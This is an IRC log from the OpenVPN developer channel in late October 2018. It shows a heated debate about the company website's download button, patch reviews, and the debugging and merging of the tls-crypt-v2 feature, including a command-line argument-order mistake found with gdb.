*FreeBSD* buildbot fails are just a test collision 11:30 <@ordex> ah good 11:30 <@ordex> I was concerned already 12:03 < tincantech> ordex: I hope my critism is considered to be contructive ;) 12:04 <@ordex> hehe 12:04 <@ordex> i don't judge 12:05 < tincantech> i was going to add "in the words of Bart Simpson: Move it or lose it Toots" but i chickened out ;) 12:08 <@ordex> well, consider that will be read by somebody that has to understand what to do to get better 12:09 <@ordex> so metaphors and such are not always easy to grasp :) 12:16 < tincantech> i do like a good metaphor .. one of my favs: "Definition of Polytics: Poly meaning Many and tics refering to Ticks which are blood sucking parasites." ;) 12:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:33 < kitsune1> "Due to the complex requirements for routing, NAT, and firewall functions, the OpenVPN Access Server is only available for the Linux platform. " The truth is that AS strongly leverages on a number of free software/open source frameworks (especially iptables). 12:37 < kitsune1> For a company with that kind of dependence on open source, its irritating that the community has to now go through the site and tell the corporate webmaster how not to obscure paid vs free options. 12:44 <@dazo> kitsune1: it's hard for people not haven been much involved in open source to actually understand this .... OpenVPN Inc has in my point of view some growing pain these days, which includes internal educating on all of this .... OpenVPN Inc 2 years ago was probably around 15 people or so ... now we're over 30, if I'm not completely wrong .... and it is probably just a handful of us who really have worked or been involved in true open 12:44 <@dazo> source projects 12:45 <@dazo> and the current webmaster got hired just a few months ago 12:46 <@dazo> the rest of the company sees OpenVPN Inc as a traditional, proprietary software company 12:49 <@cron2_> even when it was still OpenVPN Tech it had a weird relationship to open source... :-) 12:49 <@cron2_> but it's complicated to support open source properly and at the same time earn money to pay 10+ employees... 12:49 -!- cron2_ is now known as cron2 12:51 <@cron2> I think OpenVPN Inc is doing better than others ("you can have this for free, but if you want to use it on your web presence, we want money!") - but indeed, web page, and external relations are not always ideal 12:51 < tincantech> complicated or not ,, that website is an insult 12:51 <@cron2> most websites are 12:51 < tincantech> rubbish .. 12:52 <@dazo> the most annoying thing in this process with the new website is that mattock and I did give some input .... but that input is hard to see in the current result ... but as we're more and more community people being paid by the company, we are making noise about this :) 12:53 < tincantech> The (( Get OpenVPN )) button is more or less Fraud! 12:53 <@dazo> tincantech: insult is to stretch it a bit too far .... it would have been an insult if the community would not be mentioned at all ... so I would say this is actually a slight improvement to the prior one, which had the community reference only on the front-page. Now the "Community" drop down is on all pages 12:54 <@dazo> it's a tiny step forward, still not good enough .... but we're pulling it forward 12:55 <@dazo> but the feedback we provide from the community needs to be proper, so we don't alienate us with the people actually creating the web site 12:55 < tincantech> I have reviewed a large handful of my most used bookmarks and as far as I am concerned the ((Get OpenVPN)) button is the most misleading link on a website that I have seen , outside of some Very Dodgy websites indeed .. 12:56 < tincantech> so if that is the avenue they want to choose .. then i think they will reap what they sow 13:00 <@dazo> tincantech: calm down! ;-) Yes, and this is being highlighted very clearly with the team behind the new site 13:01 < tincantech> I am calm .. but I making my point exceptionally clear 13:01 < tincantech> i have done my homework on this .. 13:01 <@dazo> good, and point is taken and being proxied to the right people internally ;-) 13:02 < tincantech> cool :) 13:03 <@dazo> we will collect more input and then I presume mattock will be in charge of discussing this with the team ... and I will probably support him as well, as well as several of other corp people here on this channel 13:07 < tincantech> words like "fraud, misleading and insult" may sound inflamatory but I use them here because I believe this is the right place to air my full greivance 13:07 < tincantech> and i believe everybody here, agree or disagree, can see my point .. 13:07 <@dazo> well, it's always good to be cautious with your words ... there might be people not knowing you so well to understand how to interpret it 13:09 <@dazo> In communication, it is crucial to understand how things may be received and intercepted, and not as much as how it feels for yourself to "air" your frustration ..... of course, sometimes using such approaches can be right - but that usually has an effect when you can better predict how the recipient(s) will receive your message 13:19 <@dazo> (but all said, I don't claim that I'm always successful .... but I do try :)) 13:19 < tincantech> the ((Get OpenVPN)) button must change .. end of story 13:25 < gcoxmoz> aside: the websitesuggestions wiki page says 'Improving the www.openvpn.net website'. www.openvpn.net, however, leads to 'https://newstaging.openvpn.net/' which is http-password blocked. Super nitpicky, but, maybe the corp side cares about it. openvpn.net (no www) works fine. 13:25 <@dazo> heh 13:25 <@dazo> okay, that's a bug ... the redirect should go to openvpn.net 13:26 <@dazo> tincantech: not necessarily .... what if the "Get OpenVPN" points to a page which points at where to get the Community Downloads? 13:29 < tincantech> dazo: you just answered your own question .. it *must* change .. to what ? something less fraudulent would be a goos start ;) 13:30 < tincantech> good* 13:31 < tincantech> Imagine for a moment that you are a first time visitor (but you are totally web savvy) and you click that button and end up where it currently goes .. what would You think of Openvpn then ? 13:33 <@dazo> tincantech: I do not disagree it is misleading now .... especially when you know you want the community stuff .... and for AS users, they will never go to this page at all - they will go to their AS loging page, and the client download will be presented there 13:33 <@dazo> tincantech: and iOS/Android users will go to the appstores --- Log closed Wed Oct 24 13:40:12 2018 --- Log opened Wed Oct 24 13:40:19 2018 13:40 -!- Irssi: #openvpn-devel: Total of 29 nicks [8 ops, 0 halfops, 1 voices, 20 normal] 13:40 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 13:40 < tincantech> agreed . but i am cranking up the "offended" button ;) because "WE" are offended 13:40 <@dazo> No. YOU are offended. 13:41 -!- Irssi: Join to #openvpn-devel was synced in 50 secs 13:41 < tincantech> i am not alone 13:41 <@dazo> I am not as much offended. I see room for improvements, and that is what I am trying to get a chance to channel back to the web site team, together with the other corp people here 13:42 < tincantech> I believe you ought to be more offended than you are claiming to be because it is deliberate fraud 13:42 <@dazo> and to do that, we cannot go into an emotional tail spin .... we need to stay constructive 13:42 <@dazo> It is going TOO FAR calling it a fraud. 13:42 < tincantech> i disagree .. 13:42 <@dazo> That is inflammatory and not needed in this discussion 13:42 < tincantech> respectfully 13:42 <@dazo> stay focused on the goal. 13:43 < tincantech> i have made my point 13:44 < tincantech> trust is easily lost but hard won 13:45 <@dazo> My goal is to ensure the community is in some way part of each single page. The community should not be isolated into a separate section on the website, in my point if view. That means the "Get OpenVPN" part needs to be improved, but we should not come here dictating how things should be done to the website team. That is not how you enable cooperation 13:45 <@vpnHelper> RSS Update - tickets: #1132: iOS 12.0.1 / OpenVPN Connect 3.0.2.(894) fails to connect <https://community.openvpn.net/openvpn/ticket/1132> 13:46 <@dazo> And there can be done forther improvements on many other parts of the website as well, where the community efforts can be more highlighted 13:46 <@dazo> And remember the crucial details .... trusted community members will be granted access to this site, to post and update community related information 13:46 <@dazo> (which was not really possible in practice on the previous site) 13:47 <@dazo> but we do all this one step at a time. 13:47 < tincantech> i do not disagree with you in principle .. but I am sticking to my guns over "the button" .. 13:47 -!- tincantech was kicked from #openvpn-devel by dazo [You need a timeout now] 13:48 -!- Netsplit *.net <-> *.split quits: pekster 13:48 -!- pekster` [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 13:48 -!- siruf_ is now known as siruf 13:49 -!- dan-- is now known as dan- 13:50 -!- tincantech is now known as thebutton 13:50 -!- thebutton is now known as the-button 13:51 < the-button> oops sorry 13:52 < gcoxmoz> lateral thought, don't let me derail you. openvpn.org lands on openvpn.net, making me think the company owns both domains. Would it be within reason to split the open-source component to a .org, over time? 13:52 <@dazo> gcoxmoz: they want everything into openvpn.net, due to SEO advantages 13:52 < gcoxmoz> .net continues as is, and "if you're looking for the open-source code that powers our business, *clickie*". A name split, while painful and slow, might help distinguish things cleanly to business-minded folks. Because it seems like this strife stems from "free and paid" behind one button on one site, when you have vastly different users/customers/organizing needs around each offering. 13:52 < gcoxmoz> okeydoke! 13:53 <@dazo> But openpvn.org could redirect to the proper community page on openvpn.net ;-) 13:53 <@dazo> gcoxmoz: you got a forum/trac account? 13:53 < gcoxmoz> I think so 13:54 <@dazo> feel free to add this suggestion to the wiki page with feedback to the website team 13:55 < gcoxmoz> Ok. Wasn't sure if 'breaking up the company into two" wasn't going too far to suggest outside IRC, but I can wiggle it into something. 13:56 <@dazo> the feedback is anyhow important to track ... it helps us when raising these points to those working with the website team internally 14:08 <@cron2> yeah, this might actually be a good thing - openvpn.org redirects to community, while openvpn.net is "we want your moneyz!" 14:09 <@dazo> but still, the main openvpn.net need to "embrace" the community more as well, in the site all over 14:09 <@dazo> but having a good community entrance point is a good thing 14:14 <@cron2> yes 14:28 < gcoxmoz> added notes with a "you could do this in many ways" options list for pondering. 14:30 <@dazo> thx! 14:45 -!- the-button is now known as tincantech 15:03 <@ordex> gcoxmoz: the openvpn open source community it's us :) there is no "splitting" 15:11 < gcoxmoz> The scrollback makes me think that sentence doesn't line up with how the website / 'corporate products' is being perceived. But I'm an outsider with no dog in this fight, and no solid understanding of the company politics involved. My suggestions about some form of split/distinction can be used/ignored as folks see fit. I won't be upset. :) 15:13 <@ordex> I am probably a bit extremist, but I do believe that when I am part of a community and I actively contribute to a project I also feel "partly owner" of that project. And I believe everybody in a similar position should feel like that 15:13 <@ordex> otherwise the whole open source model would fall apart --- Day changed Thu Oct 25 2018 01:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:48 < godzed> Hi 05:48 < godzed> Does anyone here have experience in commercial VPN service setup environments? 05:48 < godzed> Something like softether and freeradius 06:35 <@ordex> godzed: maybe asking in #openvpn might make more sense. this channel is all about OpenVPN development 06:40 < godzed> Sorry, is this not the developers channel? 06:42 <@ordex> godzed: yes it is, but what you are asking does not feel related to that :) so quite OT 06:42 <@ordex> syzzer: all the patches look good! 06:42 <@ordex> :) 06:44 <@cron2> whee! 06:46 <@ordex> maybe we can throw the code at the buildbot 06:46 <@ordex> doing now .. 06:50 <@syzzer> ordex: very nice, thanks for the many reviews 06:50 <@syzzer> :D :D 06:50 <@ordex> np! 06:50 <@ordex> it was useful to me to also move on with the ovpn3 implementation ;) 06:50 <@ordex> (quite old by now :P) 06:51 <@cron2> if nothing explodes, I can merge tonight 06:51 <@cron2> (what is this softether thing anyway, that godzed mentioned?) 07:22 <@ordex> https://www.softether.org/ cross VPN platform 07:22 <@vpnHelper> Title: SoftEther VPN Project - SoftEther VPN Project (at www.softether.org) 07:30 <@plaisthos> they have a reimplementation of the openvpn protocol iirc 07:30 <@plaisthos> but I never looked closely at it 07:35 <@ecrist_> The website is a bit hard to read. Lots of grammar errors. 07:35 -!- You're now known as ecrist 07:41 <@ordex> iirc it is coming from a japanese group 07:44 <@ordex> can you guys connect to the buildbot interface ? 07:47 <@plaisthos> I should have added blinkt.de as example search domain for my client 07:47 <@ordex> cron2: ^ 07:47 <@plaisthos> +not 07:47 <@plaisthos> AAAA? b-api.facebook.com.blinkt.de. (57) 07:47 <@ordex> :D 08:19 <@ordex> ok I can connect to the buildbot interface now. all green!!!! yuppie!! 08:31 * cron2 knows what softether is, but it's *so* offtopic in here... 08:39 <@plaisthos> wow roughly 30k dns queries for blinkt.de, I did not know that dns was so spammy 08:45 <@ecrist> cron2: agreed 08:47 * ecrist anticipates backlash re: GA 10:11 <@d12fk> "SoftEther VPN has strong resistance against firewalls than ever." I approve that message. ;-) 12:17 -!- pekster` is now known as pekster 15:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 23:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 23:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] --- Day changed Fri Oct 26 2018 00:51 -!- pekster` [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 00:55 -!- Netsplit *.net <-> *.split quits: pekster 01:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:43 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:10 <@cron2> dazo: community day today? 04:13 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:26 <@dazo> cron2: yes 04:41 <@cron2> so what's the plan for today? 04:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:44 <@cron2> I can do about 2-3 hours this afternoon - e.g. merge tls-crypt v2 05:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:30 <@syzzer> yeah! \o/ 05:31 <@dazo> cron2: I'm walking through patchwork, looking for acked patches and will apply them ... I'll try to start at the bottom and move my way towards the newer ones in the end 05:33 * dazo supersedes Heiko's argv patches 06:00 <@cron2> dazo: OK, good. Then I'll busy myself on other ends, and leave the tree alone 06:01 <@dazo> :) 07:28 <@ordex> dazo: I think "[PATCH] Document comp-lzo no and compress being incompatible" is based on top of plaisthos ' other patch introducing asym (?) 07:45 <@dazo> good point ... that's plausible 08:08 <@ordex> he should have written that somewhere after the --- though :P 08:36 <@dazo> lev__: looking at your "Fix various compiler warnings" .... and you do: 08:36 <@dazo> - uninit_management_callback_multi(&multi); 08:36 <@dazo> + uninit_management_callback_multi(); 08:36 <@dazo> which is fine .... but .... then I see: 08:36 <@dazo> void 08:36 <@dazo> uninit_management_callback_multi(void) 08:36 <@dazo> { 08:36 <@dazo> uninit_management_callback(); 08:36 <@dazo> } 08:37 <@dazo> and I wonder ... why do we care about preserving uninit_management_callback_multi() at all? 08:38 <@dazo> and especially since uninit_management_callback_mult() had gone unmodified since 2005 ..... 08:38 <@dazo> https://patchwork.openvpn.net/patch/509/ 08:39 <@vpnHelper> Title: [Openvpn-devel] Fix various compiler warnings - Patchwork (at patchwork.openvpn.net) 09:27 <@dazo> ordex: looking at the tls-crypt-v2 acks you have ... is something missing? like patch 1/7? 09:27 <@dazo> syzzer: ^^ 09:29 <@ordex> dazo: it was merged already 09:29 <@dazo> ahh, okay ... that explains why I don't see it ... and not even here: https://github.com/syzzer/openvpn/commits/tls-crypt-v2-preview :) 09:29 <@vpnHelper> Title: Commits · syzzer/openvpn · GitHub (at github.com) 09:29 <@ordex> if I am not wrong 09:30 <@ordex> yeah, it is a8fa1679 in master 09:31 <@dazo> ahh ... that's quite a while ago ... alright, I'll continue with 2-7 then :) 09:31 <@ordex> yeah several months :) 09:50 <@syzzer> woohoo :D 09:50 <@syzzer> dazo: will you do the typo fixes in 2/7 on the fly? 09:51 <@dazo> syzzer: I will try to remember ;-) 09:51 <@syzzer> haha, thanks 10:51 <@dazo> syzzer: do you provide any examples how to generate the metadata for the tls-crypt-v2 keys? 10:53 <@ordex> dazo: it is described in the doc, but it can basically be any random data encoded in base64 10:53 <@ordex> it will be passed ot the verify script, so it is up to the admin to match it i nthe verify script accordingly 10:54 <@dazo> ordex: I'm just slightly confused if I need to provide the 0x00 identifier or not 10:54 <@ordex> yes 10:54 <@ordex> you have to 10:54 <@ordex> actually you can provide anything and it will be passed to the verify script to 10:55 <@ordex> this might be clarified 10:55 <@dazo> this is _not_ enough to mandate a new patch-set version ... but something which should be done afterwards 10:56 <@ordex> well the point is that the core code does nothing with the metadata 10:56 <@ordex> so whatever you specify there, later gets passed to the verify script 10:56 <@ordex> *maybe* we could even get rid of the USER specific type 10:56 <@ordex> ah n owait 10:56 <@ordex> just checking the code ... 10:56 <@ordex> the 0x0 is placed by the code 10:56 <@ordex> something is bogus then 10:57 <@ordex> I remember I had some issues with this because the first byte of my metadata was used as type 10:58 <@dazo> right ... I'm trying to test the verify script .... but I seem to not get what I'm expecting 10:58 <@dazo> would be nice with a --tls-crypt-v2-dump feature :-P 10:58 <@ordex> in my case I was creating a metadata such has "hello" 10:58 <@dazo> ./src/openvpn/openvpn --tls-crypt-v2-genkey client client-tlscrypt.key --tls-crypt-v2 server-tlscrypt.key "$(printf "%s" test-client-meta-data-in-key | base64)" 10:58 <@dazo> that's what I'm trying now ... but still nothing 10:58 <@ordex> test-client-meta-data-in-key << what is this ? 10:59 <@dazo> just some string 10:59 <@ordex> but yeah this is ok 10:59 <@ordex> in my case the verify script was getting the first byte of my string as type 10:59 <@ordex> like if the 0 was missing 10:59 <@ordex> but now that I am double checking the code...it seems the 0 should be written by openvpn 10:59 <@ordex> hmmm 11:00 <@dazo> but this is what I get in the metafile on the server: 11:00 <@dazo> 00000000 00 00 00 00 5b d3 39 4e |....[.9N| 11:00 <@dazo> 00000008 11:00 <@dazo> as well as 11:00 <@dazo> metadata_type=1 11:00 <@ordex> hmm I don't get how this dump is produced 11:01 <@ordex> this is the verify script? 11:01 <@dazo> yes 11:01 <@dazo> #!/bin/bash 11:01 <@dazo> printenv 11:01 <@dazo> echo "---------------------------" 11:01 <@dazo> hexdump -C "$metadata_file" 11:01 <@dazo> echo "---------------------------" 11:01 <@dazo> echo "Args: $*" 11:01 <@dazo> exit 0 11:01 <@dazo> can't be much simpler than that :) 11:01 <@ordex> well this is expected to be base64, no? 11:02 <@dazo> I would expect the metafile to either be base64 or the data base64 decoded 11:02 <@dazo> and I do base64 encode the data when generating the key 11:04 <@ordex> yeah the data is decoded into the file 11:04 <@ordex> so the file should contain the plain string 11:04 <@ordex> it worked here, except for this 1 byte issue 11:04 <@dazo> hmmm ... and how do you generate the key? 11:05 <@ordex> very similar to what you did 11:05 <@ordex> probably with $(echo -n "hello world" |base64) 11:06 <@dazo> hmmm 11:07 <@ordex> I am just wondering that those " " around the $() are creating some issue 11:07 <@ordex> but they should not 11:07 <@dazo> I'm testing your approach now 11:07 <@ordex> you can just manually paste the base64 string to be sure 11:07 <@ordex> ok 11:07 <@dazo> but that's a good hint actually 11:08 <@dazo> nope :/ 11:08 <@ordex> same issue ? uhm 11:09 <@dazo> yeah 11:10 <@dazo> Even tried to just put the bare text as "metadata" and the bare output of base64 as well .... same result ... --verb 15 gives me always key length 299 11:10 <@dazo> regardless of metadata 11:11 <@ordex> hm 11:13 <@dazo> even tried this hack via Python: base64.b64encode('%c%s' % (0, 'meta data test')) ... which produces this when being decoded: 11:13 <@dazo> 00000000 00 6d 65 74 61 20 64 61 74 61 20 74 65 73 74 |.meta data test| 11:13 <@dazo> which proves the 0x00 is the first byte 11:14 <@dazo> and that base64 result string (AG1ldGEgZGF0YSB0ZXN0) ... no change 11:15 <@ordex> yeah 11:15 <@ordex> seems like it is not getting the right string from the command line ? 11:16 <@dazo> yeah :/ 11:16 <@dazo> Are you able to reproduce this issue? 11:17 <@ordex> haven't tried yet because I am deep in sitnl 11:17 <@ordex> I can try in a min 11:17 <@dazo> ahh, sorry 11:20 <@ordex> np 11:20 <@ordex> let's see if I can get this going now :) 11:21 <@ordex> dazo: just for the records, how did you create the server key ? 11:21 <@dazo> uhm .... isn't line 733 and 734 in the wrong order in tls_crypt.c? 11:22 <@ordex> uhm why? it first writes the type byte into the buffer 11:22 <@ordex> then decodes the data and appends it in the same buffer 11:22 <@dazo> server key: ./src/openvpn/openvpn --tls-crypt-v2-genkey server server-tlscrypt.key 11:22 <@ordex> ok 11:23 <@dazo> the line orders ... it writes data from metadata ... but that is being decoded from b64_metadata in the line below 11:23 <@dazo> I might misread the code completely 11:23 <@ordex> yap 11:23 <@ordex> you are confusing source and destination I think 11:24 <@ordex> buf_write(&metadata, &TLS_CRYPT_METADATA_TYPE_USER, 1) << writing the content of TLS_CRYPT_METADATA_TYPE_USER into metadata 11:24 <@ordex> (1 byte) 11:24 <@ordex> openvpn_base64_decode(b64_metadata, BPTR(&metadata), << it decodes b64_metadata into the metadata buffer 11:24 <@dazo> ahh! 11:24 <@dazo> duh! yeah, this makes sense 11:24 <@ordex> so now metadata is 0x01 | metadata_binary 11:26 <@ordex> ok, I built the keys and everything .. trying now 11:29 <@ordex> 00000000 00 00 00 00 5b d3 3f 80 |....[.?.| 11:29 <@ordex> bogus here too 11:29 <@ordex> weird 11:29 <@ordex> I saw this working 11:29 <@dazo> okay ... then it's not just me :) *relieved* :) 11:30 <@dazo> okay ... option parser is having fun with us probably 11:30 <@dazo> Starting program: /home/davids/devel/openvpn/src/openvpn/openvpn --verb 30 --tls-crypt-v2-genkey client client2-tlscrypt.key --tls-crypt-v2 server-tlscrypt-meta.key AHZlcnkgbG9uZyBtZXRhIGRhdGEgdGVzdCB0byBzZWUgaWYgdGhlIGxlbmdodCBvZiB0aGUgcmVzdWx0IGtleSBjaGFuZ2Vz 11:31 <@dazo> Breakpoint 1, tls_crypt_v2_write_client_key_file (filename=0x7fffffffe519 "client2-tlscrypt.key", b64_metadata=0x0, server_key_file=0x7fffffffe53d "server-tlscrypt-meta.key", 11:31 <@dazo> b64_metadata is NULL 11:31 <@ordex> uhuh 11:32 <@cron2> "this is secret, I am hiding it before you" 11:32 <@ordex> so the option parser is being messed up ? 11:32 <@dazo> yeah 11:33 <@dazo> Breakpoint 2, add_option (options=options@entry=0x7fffffffd280, p=p@entry=0x7fffffffd1b0, file=0x4853e5 "[CMD-LINE]", file@entry=0x0, line=1, line@entry=0, level=level@entry=0, 11:33 <@dazo> msglevel=msglevel@entry=45056, permission_mask=4286447615, option_types_found=0x0, es=0x6d2810) at options.c:8129 11:33 <@dazo> 8129 options->tls_crypt_v2_genkey_type = p[1]; 11:33 <@dazo> (gdb) print p 11:33 <@dazo> $1 = (char **) 0x7fffffffd1b0 11:33 <@dazo> (gdb) print p[0] 11:33 <@dazo> $2 = 0x7fffffffe4fe "tls-crypt-v2-genkey" 11:33 <@dazo> (gdb) print p[1] 11:33 <@dazo> $3 = 0x7fffffffe512 "client" 11:33 <@dazo> (gdb) print p[2] 11:33 <@dazo> $4 = 0x7fffffffe519 "client2-tlscrypt.key" 11:33 <@dazo> (gdb) print p[3] 11:33 <@dazo> $5 = 0x0 11:33 <@dazo> nooooo 11:33 <@ordex> arghhhhhhhhhh 11:33 <@ordex> stupid us 11:33 <@ordex> we are putting the argument in the wrong order 11:33 <@ordex> XD 11:34 <@dazo> I am stu.... yeah 11:34 <@ordex> hehehe 11:34 <@ordex> the metadata is an argument of --tls-crypt-v2-genkey 11:34 <@ordex> should not go at the end of the line 11:34 <@ordex> meh 11:35 <@dazo> yes, now it works :) 11:35 <@ordex> and --tls-crypt-v2 is not failing with a second argument because it falls into the special case of the INLINE_TAG 11:35 <@ordex> that has to be changed .-. my patch is pending still 11:35 <@ordex> hehe 11:35 <@ordex> gooood 11:35 <@ordex> mistery solved! 11:35 <@dazo> yes :) 11:36 <@dazo> now I can start the git ack-am :) 11:39 <@ordex> :) 12:07 <@dazo> final test round before pushing :) 12:24 <@vpnHelper> RSS Update - gitrepo: tls-crypt-v2: add script hook to verify metadata <https://github.com/OpenVPN/openvpn/commit/ff931c5e99a808e762bc0203d70f19bf3767e216> || tls-crypt-v2: implement tls-crypt-v2 handshake <https://github.com/OpenVPN/openvpn/commit/19dffdbde08f6b1ea5d32d429a255218d4304c66> || tls-crypt-v2: add P_CONTROL_HARD_RESET_CLIENT_V3 opcode <https://github.com/OpenVPN/openvpn/commit/283290bf77dbc6c1c23deddd6145e74576bf79f1> 12:29 <@ordex> dazo: your git am-ack script removes the "vX" from the patch subject 12:30 <@ordex> and it seems like it created a new mail thread - hmm normallyit does not 12:31 <@dazo> meh 12:31 <@ordex> yeeee 12:31 <@dazo> crap! 12:31 <@ordex> :) 12:32 <@ordex> I have received only 4 so far, so maybe I am still missing the one "linking" to the existing mail thread 12:32 <@dazo> somehow the Message-Id is missing in my mail files I queued up :/ 12:32 <@ordex> ah ok 12:32 <@ordex> well, not a big deal 12:32 <@ordex> will you marke the patches in pw? 12:32 <@dazo> yes 12:32 <@ordex> I am updating the table in the wiki 12:32 <@ordex> ah you did that :D 12:32 <@ordex> good ! 12:33 <@dazo> also closed the trac ticket ;-) 12:38 <@ordex> yup seen that :) great! one big milestone reached! congrats syzzer ! :) 13:14 -!- pekster` is now known as pekster 16:13 <@cron2> cool 16:14 <@cron2> but indeed, the "in-reply-to" / "references" bit in dazo's mail is weird. This used to work better :-) 16:15 <@cron2> even more weird, the different "patch applied" mails from the tls-crypt-v2 patchset reference the "patch applied" mails for plaisthos' "TLS client hello" patch 19:53 <@vpnHelper> RSS Update - tickets: #1133: AS 2.5.2 User Permissions page deletes passwords on any Save <https://community.openvpn.net/openvpn/ticket/1133> --- Day changed Sat Oct 27 2018 01:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:13 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:53 <@syzzer> wheee, patches in \o/ 08:54 <@syzzer> thanks daxo, ordex! 08:54 <@syzzer> *dazo --- Day changed Sun Oct 28 2018 10:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:02 <@cron2> dazo: looking at your last mail in the tls-crypt-v2 thread, I see 11:02 <@cron2> In-Reply-To: <20181026172403.8654-1-davids@openvpn.net> 11:02 <@cron2> References: <20181026172403.8654-1-davids@openvpn.net> 11:03 <@cron2> while the body has 11:03 <@cron2> Message-Id: <1540208715-14044-4-git-send-email-steffan.karger@fox-it.com> 11:03 <@cron2> (as the reference) 11:03 <@cron2> so something in your scripts really got confused this time 11:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:05 <@cron2> dazo: did you intentionall not push to mattock's buildbot repo? I just noticed that neither master/ nor release/2.4 has the tls-crypt-v2 stuff yet (so we missed any potential buildbot explosions :) ) 11:07 <@ordex> cron2: will a push to either of those branch trigger the builders automatically? 11:08 <@cron2> ordex: as far as I understand, yes. master/ or release/2.4 trigger auto-explosion, everything else needs to be triggered by the buildmaster web interface 11:08 <@ordex> :D 11:08 <@ordex> okok 13:11 <@vpnHelper> RSS Update - gitrepo: Declare Windows version of openvpn_execve() before use <https://github.com/OpenVPN/openvpn/commit/253f015558d3ce3c74a4806748c8d4fcab96fb5e> 14:27 <@vpnHelper> RSS Update - tickets: #1134: network is unavailable. connect later with active network. IOS release 3.0.2 <https://community.openvpn.net/openvpn/ticket/1134> --- Log closed Sun Oct 28 21:53:39 2018 --- Log opened Mon Oct 29 07:16:16 2018 07:16 -!- Irssi: #openvpn-devel: Total of 30 nicks [8 ops, 0 halfops, 1 voices, 21 normal] 07:16 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:16 -!- Irssi: Join to #openvpn-devel was synced in 24 secs 11:36 <@plaisthos> ordex: I am bit confused about your "not sure about this, but maybe you can use the same temp variable trick 11:36 <@plaisthos> I suggested above?" 11:36 <@plaisthos> remark 11:37 <@ordex> I think it was about shortening a complex expression by using a temp variable ? 11:37 <@plaisthos> the call is struct->foo = htons(longfunctioncall) 11:37 <@ordex> yeah, probably I was suggesting to store the value of longfunctioncall in some variable ? 11:37 <@ordex> to make it easier to read. but it was a suggestion, I am not sure the result will definitely be more readable 11:38 <@ordex> I can have a look at it again later and suggest something more specific if you want 11:39 <@plaisthos> ordex: that would be with using a tmp variable, is that better? 11:39 <@plaisthos> https://gist.github.com/schwabe/73555c3dad430d60a0fad6e20d036443 11:39 <@vpnHelper> Title: tmp.c · GitHub (at gist.github.com) 11:40 <@ordex> can you try storing the result of ip_checksum() in a temp variable and then passing it to htons() on the same line as icmp6_cksum = 11:40 <@ordex> ? 11:42 <@plaisthos> sure 11:42 <@plaisthos> makes a tiny bit nicer 11:42 <@plaisthos> "the | should be surrounded by spaces." that is what I get when trying to conform to the existing style :/ 11:43 <@plaisthos> ordex: how strict should be on the 80 line rule? 11:43 <@plaisthos> with 80 column break a lot of function break into two linkes since they are 90ish 11:44 <@ordex> i think that's ok. but we can live with longer lines if they would break operations or something else in a very bad way 11:44 <@ordex> but just going on a new line for a function call should be ok 11:54 <@plaisthos> ordex: I included everything you told me about but I think I will go over the patch again to see if I can spot anything else that might upset style 12:24 <@ordex> :] 12:24 <@ordex> good choice ! thanks ! 13:09 <@vpnHelper> RSS Update - tickets: #1136: crl-verify option does'nt work in chroot <https://community.openvpn.net/openvpn/ticket/1136> 13:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Tue Oct 30 2018 01:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:38 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 03:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:26 <@dazo> cron2: I didn't have buildbot in my push-all list ... that's different since last time I pushed :) 04:27 <@dazo> And the scripts I have might be due to some git changes ... or some other weirdness ... I might have deviated from the initial expected usage :) 05:20 <@plaisthos> ordex: did you already start reviewing the block-ipv6 v5 patch? If not I would add an extra paragraph addressing what the cofused guys on the mailing list are talking about 05:20 <@ordex> not yet, you can change it 05:27 <@plaisthos> actually the man page already has a pargraph about this 05:47 <@ordex> hehe 05:47 <@ordex> that matches my expectation 06:01 <@ordex> lev__: looking at your patch: buf_printf(&addrs_buf, "%s", "UDP"); <<< does this really need the format string and the argument? can't it just be buf_printf(&addrs_buf, "UDP"); ? 07:18 <@cron2> llooks like a leftover from something more elaborate :) 07:18 <@cron2> dazo: you should push more ;-)) 07:22 <+lev__> ordex: you are correct, although we have code with just "%s" as format specifier 07:22 <@ordex> lev__: and a constant string as argument ? 07:24 <+lev__> no, char*, but this probably produces warning if you pass it without format specifier 07:25 <@ordex> yap 07:25 <@ordex> that case is ok 07:26 <@ordex> what is "not okish" is passing a constant char as argument for "%s" - that can be substituted 07:33 <@plaisthos> yeah. Clang also generates a warning if the format string is not contant 07:33 <@plaisthos> so printf("UDP") is fine but char* udp="UDP"; printf(udp); generates a warning 07:48 <@ordex> right 07:48 <@ordex> because it can lead to security bugs 09:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has 